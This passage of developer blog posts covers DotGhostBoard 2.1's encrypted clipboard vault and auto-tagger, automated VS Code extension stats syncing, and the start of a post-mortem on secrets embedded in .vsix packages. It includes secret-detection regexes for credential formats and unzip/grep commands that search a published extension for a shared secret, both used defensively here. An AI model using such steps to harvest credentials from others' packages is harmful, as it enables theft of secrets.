            return (exp - now).days
        except Exception:
            return None

@dataclass
class VaultItem(_ExpiryMixin): ...

@dataclass(frozen=True)
class VaultSummary(_ExpiryMixin): ...

Both VaultItem (full DB record) and VaultSummary (UI listing) inherit the same expiry logic through the mixin — written once, tested once.

Visual Status Badges

The secret card renders the appropriate badge at render time:

Badge	Condition	Appearance
`⛔ EXPIRED`	`is_expired == True`	Red badge
`⚠️ 0d–7d left`	`days_remaining <= 7` (e.g., `⚠️ 3d left`, or `⚠️ 0d left` when less than 24 hours remain)	Amber badge
`⏳ 2027-03-01`	Active, > 7 days remaining	Blue pill
(none)	No expiry set	—

Figure 3: Secret cards displaying dynamic status badges including expired credentials and upcoming renewal countdowns.

4. Encrypted Password Version History & Safe Revert

Rotating a production credential is risky. If the new key fails, you need the old one — immediately. DotGhostBoard 2.1 solves this with Encrypted Version History.

How It Works

Every time you update an existing secret, the current ciphertext is archived before the new one is written:

# core/security/vault/service.py (simplified)

def update_secret(self, item_id: int, secret_text: str, save_history: bool = True) -> bool:
    key = self._require_unlocked()
    if save_history:
        # 1. Fetch current encrypted record before replacing
        existing = self._repo.get_item(item_id)
        if existing and existing.ciphertext:
            # 2. Archive previous ciphertext to history (capped at 3 newest)
            self._repo.add_history_entry(item_id, existing.ciphertext, max_entries=3)

    # 3. Encrypt and store the new secret version
    new_ciphertext = encrypt(secret_text, key)
    return self._repo.update_item(item_id, ciphertext=new_ciphertext)

Key points:

Max 3 versions — capped in SQLite, avoiding unbounded storage growth.
Encrypted at rest — history entries use the same DEK as the live secret. Plaintext never hits disk.
Decrypted in memory only — when you open the History Viewer, decryption happens in RAM and is discarded on close.

The History Viewer (📜) & Safe Revert

Clicking the 📜 icon on any secret card opens the modal:

Version index and creation timestamp for each entry.
👁️ Reveal / 🙈 Hide toggle with monospace masking.
Copy button — protected by DotGhostBoard's 30-second automatic clipboard scrub.
↺ Revert to this — restores the selected version as the active secret.

Behind the scenes, revert calls:

self.update_secret(item_id, secret_text=plaintext, save_history=True)

This neatly preserves the active secret you just replaced into history, allowing you to toggle back and forth safely without data loss. When a secret is deleted, SQLite cascades and purges all historical entries in the same transaction.

Figure 4: Password version history modal showing archived credential states, reveal toggle, and one-click atomic revert.

5. Vault-to-Dashboard Plaintext Sweep

Here's a subtle security gap:

You add a secret to the Vault. But before you did, you copied it to your clipboard — meaning an unencrypted copy was recorded in your general clipboard history.

Later, you delete the secret from the Vault. If the clipboard history remains untouched, your secret is gone from the encrypted vault but still sitting in plaintext in the general history database.

DotGhostBoard 2.1 closes this gap with a Coordinated Plaintext Sweep:

# ui/vault/vault_controller.py (simplified)

def delete_secret(self, item_id: int) -> bool:
    # 1. Temporarily decrypt secret in-memory to discover history traces
    try:
        plaintext = self._service.reveal_secret(item_id)
    except Exception:
        plaintext = None

    # 2. Delete from encrypted Vault database
    success = self._service.delete_secret(item_id)

    # 3. If deleted, sweep matching plaintext entries from clipboard history
    if success and plaintext:
        history_matches = self._history_repo.find_by_content(plaintext)
        for entry in history_matches:
            self._history_repo.delete(entry["id"])
            self.history_item_removed.emit(entry["id"])  # removes card from UI

    self.secrets_changed.emit()
    return success

The history_item_removed signal coordinates the UI: the Vault controller emits it, and the HistoryController receives it to cleanly remove the card from the UI. No tight coupling, no shared database transactions — just Qt signals.

Practical Boundary: Exact Match vs. Substrings

The sweep performs an exact match (find_by_content(plaintext)). If you copied the credential with trailing whitespace, a trailing newline, or embedded inside a larger terminal command line (e.g. curl -H "Authorization: Bearer <key>"), the exact sweep will not catch the enclosing entry.

We deliberately chose this conservative exact match: running broad substring searches across the entire clipboard history could easily result in destructive false-positive deletions of unrelated notes or commands.

6. Unified Design System & UX Polish

Security tools only work if developers actually use them. Friction kills adoption. In 2.1, we focused on tightening common interactions:

Component Unification (PasswordInputWidget): We extracted password input handling and the visibility toggle into a single reusable widget. Both the session LockScreen and the VaultUnlockDialog now share identical keyboard behavior, input styling, and state management rather than maintaining divergent Qt implementations.
Drawer Ergonomics: The slide-out Vault drawer (ui/vault/vault_panel.py) was restructured into a clear two-row toolbar (title/status row + action controls row) with an expanded 380px width for better readability. First-time users see an empty-state onboarding card outlining shortcuts and clipboard auto-scrub policies rather than a blank panel.

Figure 5: Expanded 380px Vault drawer featuring a two-row action toolbar and structured onboarding empty-state.

Figure 6: Unified PasswordInputWidget on the Session Lock screen with integrated eye toggle and focus handling.

Testing & Code Quality

523 automated tests. 100% passing.

======================== 523 passed in ~100s ========================

The test matrix covers:

Cryptographic roundtrips with AAD tampering verification
SQLite transaction isolation for version history and cascade deletes
UI event loops via headless Xvfb (tested against both Openbox and Qtile 0.36.0)
Expiry logic edge cases (timezone-aware vs. naive datetimes, malformed strings)
Plaintext sweep signal propagation across the Vault ↔ Dashboard boundary

Zero Flake8 errors. ui/dashboard.py enforces a hard <= 500 LOC limit — all specialized logic delegates to controllers and mixins.

What's Next & Known Limitations

A few honest limitations, on the record:

Wayland compatibility: DotGhostBoard relies on X11/EWMH for clipboard capture and hotkeys. We're investigating wlr-data-control protocol support for Wayland. No ETA yet, but it's our most-requested architecture evolution.
KDF hardening: 100,000 PBKDF2 rounds is our current baseline. User-configurable iteration counts (targeting OWASP's 600,000 recommendation) and Argon2id evaluation are on the v2.2 roadmap.
Backup format version negotiation: v2.1 introduces the single-byte version header; upcoming releases will support forward-compatible schema migrations.
Substring Plaintext Sweeps: Exploring optional flagged heuristics for wiping shell history snippets containing expired tokens.
CLI Vault queries: Scriptable, authenticated dotghost vault list and dotghost vault get <title> commands are planned for v2.2.

📦 Try DotGhostBoard 2.1

100% free and open-source — Apache-2.0 License.

GitHub: kareem2099/DotGhostBoard
OpenDesktop / KDE Store: DotGhostBoard on OpenDesktop

git clone https://github.com/kareem2099/DotGhostBoard.git
cd DotGhostBoard

python3 -m venv venv && source venv/bin/activate
pip install -r requirements.txt

python3 main.py

Keyboard Shortcuts

Shortcut	Action
`Ctrl+Alt+V`	Summon / hide Dashboard (migrates to active workspace)
`Ctrl+Alt+Space`	Floating Spotlight Quick Search
`Ctrl+Shift+V`	Open / close The Vault encrypted drawer
`Ctrl+F`	Focus search bar inside Dashboard

Questions about the vault format, the key derivation choices, or the history revert logic? Drop them below — happy to go deeper on any of it. 👻🔒

DotGhostBoard 2.1 'Leviathan' — Smart Clipboard Tagging & Contextual Actions on Linux (Part 1)

freerave — Fri, 02 Oct 2026 20:59:46 +0000

How we built a rules-based clipboard intelligence engine for Linux — local, deterministic, sub-millisecond for typical payloads (< 5KB), zero AI, zero telemetry. Auto-tagging, contextual smart actions, and a tight pipeline architecture explained.

You copy a minified JSON blob from a terminal log. To actually read it, you paste it into an editor, run a formatter, then copy the result back. You copy an API key from a config file and your clipboard manager stores it as plain text, alongside screenshots and grocery lists, until you manually hunt it down and secure it.

Most clipboard tools treat every copied item the same: inert text in a database. For anyone who spends time in terminals, editors, and browser devtools, that uniformity creates constant small frictions that accumulate fast.

DotGhostBoard 2.1 "Leviathan" takes a different approach. The clipboard understands what it's holding and surfaces the right action immediately — format this JSON, open that URL, secure this credential.

This is a two-part series on how we built it:

Part 1 (you're here): Rules-based Smart Auto-Tagging, Contextual Smart Actions, and the pipeline behind them.
Part 2: Cryptographic .vault Backups, CSPRNG Password Generator, Secret Expiry, and Encrypted Version History.

The Design Constraint: Local, Deterministic, Fast

The obvious shortcut for text classification is an LLM or a cloud API. For a clipboard manager, that's a non-starter on three counts.

Your clipboard routinely holds API keys, internal paths, private tokens, and proprietary code snippets. Sending that to any remote service — even a local on-device model — introduces a trust boundary that shouldn't exist in a tool people actually rely on for security. Beyond that, loading inference libraries adds hundreds of MB of idle RAM, and any latency between Ctrl+C and the item appearing in history is enough to make the tool feel broken.

Our constraint was concrete: every classification must run locally, produce deterministic results, and complete in under 1ms for typical clipboard payloads (< 5KB), scaling to ~1.4ms worst-case at the 8KB classification cap.

The approach: pre-compiled regular expressions, structural heuristics, and a pool-based keyspace entropy estimate — no opaque models.

1. The Auto-Tagger: How Classification Actually Works

The engine lives in core/security/auto_tagger.py. It runs synchronously on every new clipboard item before storage and UI rendering.

Captured Text ──► Pre-compiled Patterns & Heuristics ──► Tags ──► Storage & UI
                  ├── URL regex                       ──► #link
                  ├── JSON fast-path + json.loads     ──► #json
                  ├── Code keywords + bracket density ──► #code
                  ├── Known prefixes + entropy gate   ──► #secret
                  ├── IPv4 regex + IPv6 regex         ──► #ip
                  ├── RFC-like email regex            ──► #email
                  ├── Unix / Windows path regex       ──► #path
                  └── Hex length check {32,64}        ──► #hash

All patterns compile once at module load time. The function is pure — no I/O, no Qt, no database access — which makes it fast to call and trivial to test.

Here's the real implementation, abbreviated:

# core/security/auto_tagger.py

import json, re, math, string

# ── Compiled patterns (module-level — compiled once, reused forever) ──────────

_RE_URL = re.compile(r"https?://[^\s\"'<>]{3,}|ftp://[^\s\"'<>]{3,}", re.IGNORECASE)
_RE_EMAIL = re.compile(r"\b[A-Za-z0-9._%+\-]+@[A-Za-z0-9.\-]+\.[A-Za-z]{2,}\b")

_RE_IPV4 = re.compile(                             # validates 0-255 per octet
    r"\b(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}"
    r"(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\b"
)
_RE_IPV6 = re.compile(r"\b(?:[0-9a-fA-F]{1,4}:){2,7}[0-9a-fA-F]{1,4}\b")

# Pragmatic range matching MD5 (32), SHA-1 (40), SHA-256 (64); strict lengths planned for v2.2
_RE_HEX_HASH = re.compile(r"\b[0-9a-fA-F]{32,64}\b")

# Known credential prefixes — the first line of secret detection
_RE_SECRET_PATTERNS = [
    re.compile(r"ghp_[A-Za-z0-9]{36,}"),                          # GitHub PAT
    re.compile(r"AKIA[0-9A-Z]{16}"),                               # AWS Access Key
    re.compile(r"sk-[A-Za-z0-9]{32,}"),                           # OpenAI / Stripe
    re.compile(r"xox[baprs]-[A-Za-z0-9\-]{10,}"),                 # Slack tokens
    re.compile(r"eyJ[A-Za-z0-9\-_]{10,}\.[A-Za-z0-9\-_]{10,}"),  # JWT
    re.compile(r"-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----"),
]

# (Note: _RE_PATH, _CODE_KEYWORDS, and _CODE_BRACKETS are omitted here for brevity)

# ── Pool-based keyspace entropy estimate ──────────────────────────────────────

def _entropy_bits(text: str) -> float:
    """Estimate theoretical keyspace entropy: H = len * log₂(pool_size)."""
    pool = 0
    if any(c in string.ascii_lowercase for c in text): pool += 26
    if any(c in string.ascii_uppercase for c in text): pool += 26
    if any(c in string.digits           for c in text): pool += 10
    # Any non-alphanumeric character (symbols, punctuation, or non-ASCII) adds 32
    if any(c not in string.ascii_letters + string.digits for c in text): pool += 32
    return math.log2(pool or 26) * len(text)

# ── Main classification function ──────────────────────────────────────────────

def detect_tags(content: str) -> list[str]:
    if not content or not isinstance(content, str):
        return []
    tags: list[str] = []
    text = content.strip()

    if _RE_URL.search(text):    tags.append("#link")
    if _RE_EMAIL.search(text):  tags.append("#email")
    if _RE_IPV4.search(text) or _RE_IPV6.search(text): tags.append("#ip")
    if _RE_PATH.search(text) and "#link" not in tags:   tags.append("#path")
    if _RE_HEX_HASH.search(text):                       tags.append("#hash")

    # Secret detection: known prefix first, entropy gate as fallback
    is_secret = any(p.search(text) for p in _RE_SECRET_PATTERNS)
    if not is_secret and len(text) >= 16 and " " not in text and "\n" not in text:
        if _entropy_bits(text) >= 90:
            is_secret = True
    if is_secret:
        tags.append("#secret")

    # JSON: only attempt parse if it looks like an object or array
    if text.lstrip().startswith(("{", "[")):
        try:
            json.loads(text)
            tags.append("#json")
        except (json.JSONDecodeError, ValueError):
            pass

    # Code: multi-line with language keywords or dense bracket patterns
    if "\n" in text and len(text) > 40:
        if _CODE_KEYWORDS.search(text) or _CODE_BRACKETS.search(text):
            tags.append("#code")

    return list(dict.fromkeys(tags))  # deduplicate, preserve order

Secret Detection: Two Layers

The #secret classifier uses a two-step approach:

Layer 1 — Known prefixes. Patterns like ghp_, AKIA, eyJ (JWT header) are unambiguous. Match any of them and the tag is assigned immediately, no entropy calculation needed.

Layer 2 — Entropy gate. For everything else: single-line, no spaces, at least 16 characters, and a pool-based keyspace entropy ≥ 90 bits. The 90-bit threshold was tuned empirically to catch random high-entropy tokens, API keys, and strong bearer credentials while skipping short identifiers, dictionary words, and common camelCase variable names.

Both conditions guard against a common pitfall: pure Shannon entropy on raw text produces too many false positives on long sentences or dense code snippets. The entropy function here is H = len × log₂(pool_size) — a measure of the theoretical keyspace, not character frequency distribution.

Note on non-ASCII characters: Because any(c not in string.ascii_letters + string.digits ...) catches non-ASCII characters (e.g. Arabic script, accented letters, emoji), unicode text will trigger the +32 symbols branch. This heuristic is tuned primarily for ASCII credentials; multilingual script entropy is handled gracefully without throwing exceptions.

Known Limitations

Honest engineering requires talking about edge cases:

Long Paths tagged as #secret: A Unix path like /home/kareem/StudioProjects/DotGhostBoard/main.py currently receives both #path and #secret — it satisfies the entropy gate because it has no spaces and mixes uppercase, lowercase, digits, and /. We've logged this as a known limitation; v2.2 will add #path as an explicit exclusion condition for the entropy fallback.
Hashes flagged as #secret: A 32-character hex string (like an MD5 digest) uses digits + lowercase (pool = 36), yielding 32 × log₂(36) ≈ 165 bits, which clears the ≥ 90-bit gate. Consequently, MD5 and SHA digests receive both #hash and #secret; a dedicated check to prioritize #hash alone is slated for v2.2.

2. What the Tag Enables: Contextual Smart Actions

Tags are displayed as colored pill chips on each card. More importantly, they drive Contextual Smart Actions — buttons that appear dynamically in the card toolbar based on what was detected.

Tag	Action	What it does
`#link`	🔗 Open Link	`QDesktopServices.openUrl()` — no copy-paste to browser
`#json`	`{ }` Format JSON	Parses, re-serializes with 2-space indent, writes back to clipboard
`#email`	✉ Compose	Constructs a `mailto:` URI, hands off to default mail client
`#ip`	📡 Copy IP	Extracts just the IP from surrounding log noise
`#secret`	🛡 → Vault	Opens Vault drawer, prefills secret dialog, purges plaintext from history

Here's the JSON formatter — the action developers use most:

# ui/widgets/item_card.py (simplified)
import json

def _on_format_json(self) -> None:
    try:
        parsed = json.loads(self._raw_text)
        formatted = json.dumps(parsed, indent=2, ensure_ascii=False)
        QApplication.clipboard().setText(formatted)
        self._flash_badge("✓ Formatted")
    except json.JSONDecodeError:
        self._flash_badge("✗ Invalid JSON")

One button. Minified JSON in, readable JSON back in your clipboard. No editor, no extra window.

Figure 1: Auto-detected tags (#link, #ip, #code) and dynamic contextual smart actions (🔗 Open Link, 📡 Copy IP) on clipboard cards.

3. Pipeline Architecture

The classifier only stays fast because it runs inside a well-isolated pipeline:

Figure 2: The 4-phase sequential classification and dispatch pipeline.

[System Clipboard] ──► ClipboardWatcher (background polling / events)
                             │
                             ▼
                    ClipboardPipeline (pure policy layer)
                      ├── App filter      (skip blacklisted sources)
                      ├── Self-paste guard (skip our own copy events)
                      ├── AutoTagger      (sync, pure, no I/O)
                      └── Duplicate & pin policy
                             │
                             ▼
                    HistoryService ──► SQLite (PRAGMA secure_delete)
                             │
                             ▼
                    HistoryController ──► CardsView (lazy render)

AutoTagger has zero dependencies on Qt, SQLite, or any network code. That isolation means:

The UI thread is never blocked by classification.
Unit tests need no display server or mocked widgets.
You can swap, extend, or replace tagging rules without touching controllers or storage.

4. Measured Latency

We wanted hard performance guarantees rather than assumptions. Here are timeit measurements on typical clipboard payloads running on an Intel Core i5-8350U @ 1.70GHz (Python 3.14.7, Linux x86_64), 1,000 iterations each:

Figure 3: Microsecond-level classification benchmark measurements across typical clipboard payloads.

Payload                      min µs    median µs    max µs
──────────────────────────────────────────────────────────
URL                             8.2          8.8      10.7
GitHub PAT                      6.5          6.8      10.1
IPv4 address                    7.1          7.5      12.7
MD5 hash                        7.1          7.2       7.6
JSON (small, ~80 chars)        14.1         14.4      16.1
Code snippet                   20.3         20.4      21.4
Plain English text             14.8         15.2      15.3
JSON (1KB payload)             80.3         81.8      82.6
Worst-case dense (7.8KB)     1380.0       1410.6    1460.0

The "< 1ms" guarantee holds for typical clipboard payloads (< 5KB), with small items (URLs, hashes, JSON) processing in 8–82 µs. At the 8KB cap, worst-case dense tokens (7.8KB of unspaced text forcing character-by-character entropy evaluation) measure ~1.4ms. Payloads exceeding 8KB automatically bypass the entropy gate to ensure the UI loop never hitches on huge paste events.

Coming Up in Part 2

The productivity layer is half the story. The other half is what happens to sensitive data after it's detected.

In Part 2, we cover the security architecture:

🔐 Standalone .vault encrypted backups — AES-256-GCM packages with AAD header authentication, zero plaintext on disk, PBKDF2 key derivation.
⚡ CSPRNG Password & Token Generator — Live keyspace entropy meter calibrated to 131.1 bits.
⏳ Secret Expiry Tracking — Calendar-based expiry with ⛔ EXPIRED and ⚠️ 3d left badges.
📜 Encrypted Version History — Last 3 versions retained, one-click atomic revert.
🧹 Coordinated Plaintext Sweep — Purging matching unencrypted history records upon Vault deletion.

📦 Try DotGhostBoard 2.1

100% free and open-source — Apache-2.0 License.

GitHub: kareem2099/DotGhostBoard
OpenDesktop / KDE Store: DotGhostBoard on OpenDesktop

git clone https://github.com/kareem2099/DotGhostBoard.git
cd DotGhostBoard

python3 -m venv venv && source venv/bin/activate
pip install -r requirements.txt

python3 main.py

Keyboard Shortcuts

Shortcut	Action
`Ctrl+Alt+V`	Summon / hide Dashboard (migrates to active workspace)
`Ctrl+Alt+Space`	Floating Spotlight Quick Search
`Ctrl+Shift+V`	Open / close The Vault encrypted drawer

Questions about the classification heuristics, the entropy threshold choice, or the action pipeline? Drop them in the comments. 👻

Building an Automated, API-Driven Stats & Version Synchronizer for VS Code Extensions with 24-Hour Smart Caching (dotUniverse v1.2.0)

freerave — Mon, 28 Sep 2026 14:01:29 +0000

How I built a dual-path synchronization architecture for 7 VS Code extensions using VS Marketplace & Open VSX APIs, 24-hour client caching, and daily zero-dependency GitHub Actions.

As an open-source creator building a growing ecosystem of developer tools, one repetitive chore kept draining my time: keeping metrics and version numbers in sync.

My portfolio, dotUniverse, showcases 20+ open-source tools—including 7 VS Code extensions published across both the Visual Studio Marketplace and the Eclipse Open VSX Registry.

Every time I bumped a release or checked how many developers installed CodeTune, dotcommand, or DotShare, I had to:

Log into multiple web dashboards.
Manually calculate cross-platform sums.
Edit HTML cards, version badges, and repository README tables by hand.

Manual upkeep is tedious, error-prone, and quickly falls behind. I wanted an automated, dual-path synchronization architecture:

At Runtime: Visitors see fresh, API-backed numbers and versions fetched directly from store APIs, cached intelligently on the client for 24 hours.
At Build/Repository Time: Static fallbacks in index.html and markdown tables in README.md are automatically kept fresh via a scheduled, zero-dependency GitHub Action.

Here is a deep dive into how I built this system using pure modern JavaScript, 24-hour client-side caching, and GitHub Actions CI/CD.

🏛️ The Architecture: Dual-Path Synchronization

Instead of treating this as a simple "fetch data in JavaScript" problem, I designed a dual-path synchronization pipeline sharing a single source of truth:

                  ┌──────────────────────────────┐
                  │ Visual Studio Marketplace    │
                  │   & Open VSX Registry APIs   │
                  └──────────────┬───────────────┘
                                 │
             ┌───────────────────┴───────────────────┐
             │                                       │
      [Runtime Path]                           [Build/CI Path]
             │                                       │
             ▼                                       ▼
  extension-stats.js                     sync-extension-stats.mjs
             │                                       │
      ┌──────┴──────┐                         ┌──────┴──────┐
      ▼             ▼                         ▼             ▼
  24h Cache     Fresh DOM                 index.html    README.md
 (localStorage) (No Flicker)              (Fallback)    (Markdown)
                                                     │
                                                     ▼
                                              Git Commit & Push
                                              (Only on Changes)

This decoupled design guarantees that:

First-time and repeat visitors get an instant render from static markup or localStorage without waiting for API responses to render the initial content.
Search engine crawlers and developers browsing the GitHub repository see accurate static numbers even without executing client-side JavaScript.

🏗️ The Challenge: Two Stores, Fragmented Metrics

Tracking extensions across the VS Code ecosystem is fragmented:

VS Code Marketplace: Owned by Microsoft. Its web interface displays a single "Installs" counter, but its underlying gallery API exposes separate metrics.
Open VSX Registry: The vendor-neutral marketplace used by VSCodium, Gitpod, and Eclipse Theia. It provides a clean REST API with different metric structures.

Crucially, both APIs support CORS with access-control-allow-origin: *, allowing modern browsers to query them directly without requiring a proxy server.

🔍 Layer 1: Querying Store APIs Directly

1. Batch-Querying Visual Studio Marketplace

Instead of making 7 separate HTTP requests, Microsoft's Marketplace API allows querying multiple extensions in a single POST request to _apis/public/gallery/extensionquery:

async function fetchVsMarketplace(extensions) {
  const body = {
    filters: [{
      criteria: extensions.map(ext => ({ filterType: 7, value: ext.vsId }))
    }],
    flags: 914 // Requests statistics, versions, and metadata
  };

  const res = await fetch('https://marketplace.visualstudio.com/_apis/public/gallery/extensionquery', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'Accept': 'application/json;api-version=3.0-preview.1'
    },
    body: JSON.stringify(body)
  });

  const json = await res.json();
  const map = {};

  for (const ext of json?.results?.[0]?.extensions || []) {
    const stats = {};
    for (const s of ext.statistics || []) {
      stats[s.statisticName] = s.value;
    }

    // Empirical verification: Microsoft Marketplace UI displays (install + downloadCount)
    const installs = Math.round((stats.install || 0) + (stats.downloadCount || 0));

    // The API returns the latest release first in versions[0]
    const version = ext.versions?.[0]?.version || null;

    map[ext.extensionName.toLowerCase()] = { installs, version };
  }

  return map;
}

💡 Empirical Verification on Marketplace Installs: Microsoft's API returns two separate download metrics: install (active installed instances) and downloadCount (package downloads/updates). Through empirical cross-referencing between the API response and the live web pages for all 7 extensions, the "Installs" figure shown on the Marketplace product page aligned with (stats.install + stats.downloadCount). This was observed across the seven extensions tested during development; it should be treated as an empirical observation rather than a guaranteed API contract.

2. Querying Open VSX Registry

Open VSX provides an open REST endpoint at https://open-vsx.org/api/{namespace}/{extension}:

async function fetchOpenVsx(extensions) {
  const map = {};
  const ovsxExts = extensions.filter(e => e.ovsxId);

  const promises = ovsxExts.map(async (ext) => {
    try {
      const res = await fetch(`https://open-vsx.org/api/${ext.ovsxId}`);
      if (!res.ok) return;
      const data = await res.json();
      map[ext.key] = {
        downloads: data.downloadCount || 0,
        version: data.version || null
      };
    } catch (err) {
      console.warn(`Open VSX fetch failed for ${ext.key}:`, err);
    }
  });

  await Promise.allSettled(promises);
  return map;
}

⚡ Layer 2: The Client-Side Module (`extension-stats.js`)

In dotUniverse's modular architecture, we created js/modules/extension-stats.js.

Why a 24-Hour Cache is Essential

Firing external API requests on every page refresh is bad engineering—it wastes bandwidth, risks third-party rate limits, and causes text flicker.

Because developer tools are typically released over days or weeks, a 24-hour cache TTL (24 * 60 * 60 * 1000) is a practical default: it reduces unnecessary API requests while keeping the displayed statistics reasonably fresh:

export const ExtensionStats = {
  CACHE_KEY: 'dotuniverse_ext_stats_v1',
  CACHE_TTL: 24 * 60 * 60 * 1000, // 24 hours (1 day)

  init() {
    // 1. Instantly apply cached data to DOM (avoids visible flicker)
    const cached = this.getCached();
    if (cached && cached.data) {
      this.applyToDOM(cached.data);
    }

    // 2. Fetch in background only when the 24-hour window expires
    if (!cached || Date.now() - cached.timestamp > this.CACHE_TTL) {
      this.refresh();
    }
  },
  // ...
};

Clean DOM Mutation via Semantic Attributes

In index.html, each extension card includes a semantic data-ext-name identifier:

<div class="ext-card" data-ext-name="codetune">
  <div class="ext-header">
    <div class="ext-name"><span class="prefix">Code</span><span class="suffix">Tune</span></div>
    <span class="ext-version">v1.3.0</span>
  </div>
  ...
  <div class="ext-stores">
    <a ... class="store-badge vs">
      <span class="store-info"><span class="store-name">VS Marketplace</span><span class="store-dl">737 installs</span></span>
    </a>
    <a ... class="store-badge ovsx">
      <span class="store-info"><span class="store-name">Open VSX</span><span class="store-dl">1,500 downloads</span></span>
    </a>
  </div>
</div>

When fresh metrics arrive:

.ext-version updates to the store's current version (e.g. v1.3.0, v2.2.1, v3.5.1).
Store badges update with formatted counts (e.g., 1,040 installs, 6,000 downloads).
The grand total (19,500+) is calculated and smoothly updated in both the header stats and the hero banner.

🤖 Layer 3: Automated Daily CI/CD Synchronization

To keep the repository README.md and static HTML in sync for users without JavaScript or search bots, we created a zero-dependency Node script: scripts/sync-extension-stats.mjs.

Running this script fetches live data, parses index.html and README.md, updates markdown tables, Shields.io badges, and prints a formatted terminal overview:

$ node scripts/sync-extension-stats.mjs

🔄 Fetching live extension stats from VS Marketplace and Open VSX...

📊 Live Extension Stats:
┌─────────┬──────────────┬──────────┬────────────────┬──────────┬─────────────────┐
│ (index) │ Extension    │ Version  │ VS Marketplace │ Open VSX │ Total Downloads │
├─────────┼──────────────┼──────────┼────────────────┼──────────┼─────────────────┤
│ 0       │ 'CodeTune'   │ 'v1.3.0' │ '734'          │ '1,486'  │ '2,220'         │
│ 1       │ 'dotcommand' │ 'v2.0.1' │ '778'          │ '970'    │ '1,748'         │
│ 2       │ 'DotEnvy'    │ 'v2.2.1' │ '758'          │ '2,173'  │ '2,931'         │
│ 3       │ 'DotShare'   │ 'v3.5.1' │ '1,040'        │ '5,987'  │ '7,027'         │
│ 4       │ 'DotFetch'   │ 'v2.1.1' │ '470'          │ '2,766'  │ '3,236'         │
│ 5       │ 'DotReadme'  │ 'v1.2.0' │ '364'          │ '1,719'  │ '2,083'         │
│ 6       │ 'DotSense'   │ 'v1.3.0' │ '257'          │ '0'      │ '257'           │
└─────────┴──────────────┴──────────┴────────────────┴──────────┴─────────────────┘

🏆 Grand Total Downloads: 19,502 (Marketplace: 4,401, Open VSX: 15,101)

✅ index.html updated successfully.
✅ README.md updated successfully.

To run this hands-free, we added .github/workflows/update-extension-stats.yml:

name: Auto Update Extension Stats

on:
  schedule:
    # Runs everyday at midnight UTC
    - cron: '0 0 * * *'
  workflow_dispatch: # Allows manual trigger from GitHub UI

permissions:
  contents: write

jobs:
  sync-stats:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20

      - name: Sync extension downloads and versions
        run: node scripts/sync-extension-stats.mjs

      - name: Commit and push changes if updated
        run: |
          git config --global user.name "github-actions[bot]"
          git config --global user.email "github-actions[bot]@users.noreply.github.com"
          git add index.html README.md
          if git diff --staged --quiet; then
            echo "No changes detected."
          else
            git commit -m "chore: auto-update extension downloads and versions [skip ci]"
            git push
          fi

💡 Clean Commit History: The git diff --staged --quiet check ensures that GitHub Actions only commits when marketplace metrics or versions actually change. This keeps the Git history clean from empty daily noise.

🚀 The Bigger Picture: Building in Public

Automating tool statistics ties directly into how I build in public. Alongside extensions, dotUniverse features an open Growth Challenge Tracker across 9 creator and developer platforms.

Here is the current state for October 2026:

Platform	Current (Now)	Target (Goal)	Remaining	Progress
🚀 dev.to	3,986	4,200	`+214`	95%
💼 LinkedIn	709	800	`+91`	89%
🎵 TikTok	37	60	`+23`	62%
▶️ YouTube	30	60	`+30`	50%
✍️ Medium	6	10	`+4`	60%
📘 Facebook	15	20	`+5`	75%
📸 Instagram	7	10	`+3`	70%
𝕏 X / Twitter	18	20	`+2`	90%
🦋 Bluesky	21	30	`+9`	70%

On dev.to specifically, we recently passed 15,400+ total views, 93 published posts, 97 reactions, and 67 comments.

Because dev.to is currently at 3,986 / 4,200, we explicitly commented out the celebratory 15-DAY RECORD badge in the HTML until the 4,200 mark is officially crossed. Milestones are meaningful only when they are genuine!

💡 Key Engineering Takeaways

Leverage Dual-Path Synchronization: Combining client-side background sync with scheduled CI/CD ensures that both web visitors and static repository viewers get consistently updated extension statistics.
Explore Public API Capabilities: Both the Visual Studio Marketplace and Open VSX support CORS directly. Before introducing a custom serverless proxy, inspect the network headers first.
Respect the Client Cache: A 24-hour localStorage TTL reduces visible flickering, avoids API-dependent initial rendering on repeat visits, respects third-party rate limits, and matches the realistic release frequency of developer tools.
Conditional CI/CD Commits: Always check git diff --staged --quiet before committing automated bot changes to keep your repository history concise and meaningful.

🔗 Project Links

🌐 Live Website: universe.dotsuite.dev
💻 GitHub Repository: kareem2099/dotuniverse
📦 VS Code Extensions: Search for FreeRave on VS Code Marketplace or Open VSX!

How do you automate metrics across your open-source repositories? Do you rely on static shields or live client-side queries? Let's discuss in the comments below!

The VSIX Packaging Trap: How I Eliminated Embedded Client Secrets from a VS Code Extension

freerave — Fri, 25 Sep 2026 15:04:51 +0000

A .vsix is just a ZIP archive of plain JavaScript. Here is the post-mortem of how our build-time secrets failed, how we designed dynamic device registration with OS SecretStorage, and how we solved the 'scanner scanning the scanner' paradox.

TL;DR: Distributing a client-server VS Code extension means accepting a hard truth: a .vsix file is just a ZIP archive containing JavaScript that can be extracted and inspected. This article breaks down how our initial attempt to inject build-time backend secrets was scrapped, how we engineered an anonymous dynamic device handshake with OS-level SecretStorage, and how we resolved the bizarre paradox of static security scanners flagging our own secret detection patterns.

The Illusion of the Extension Package

When developers distribute software through the VS Code Marketplace or the Open VSX Registry, it is easy to unconsciously think of the .vsix file as a compiled, opaque binary.

It is not.

A .vsix package is an Open Packaging Conventions (OPC) archive — an ordinary ZIP file containing your extension’s manifest (package.json), assets, and compiled JavaScript output (out/).

Anyone can verify this with standard shell utilities:

# Rename and extract any published extension
cp DotEnvy-2.1.0.vsix DotEnvy.zip
unzip -q DotEnvy.zip -d extracted/
cd extracted/extension/out

# Search for sensitive variables
grep -rn "SHARED_SECRET" .

If you injected an API key, an HMAC signing secret, or a database token into your client code at compile time, you just published that secret to the entire world.

Context: Why Did We Need a Secret in the First Place?

In Part 1 of this series, I explained how we built Aegis — a 4-layer AI secret detection pipeline for DotEnvy.

The first three layers (Regex, Community Blacklist, and Entropy Gating) execute locally inside the editor process. But Layer 4 requires invoking our Python microservice (aegis.dotsuite.dev) on Railway to run contextual neural classification.

To protect the backend against unauthorized abuse, spam, and denial-of-service, we required incoming HTTP requests to be signed using HMAC-SHA256:

$$\text{Signature} = \text{HMAC-SHA256}(\text{SharedSecret}, \text{Timestamp} + "." + \text{Payload})$$

This design introduced our fundamental dilemma:

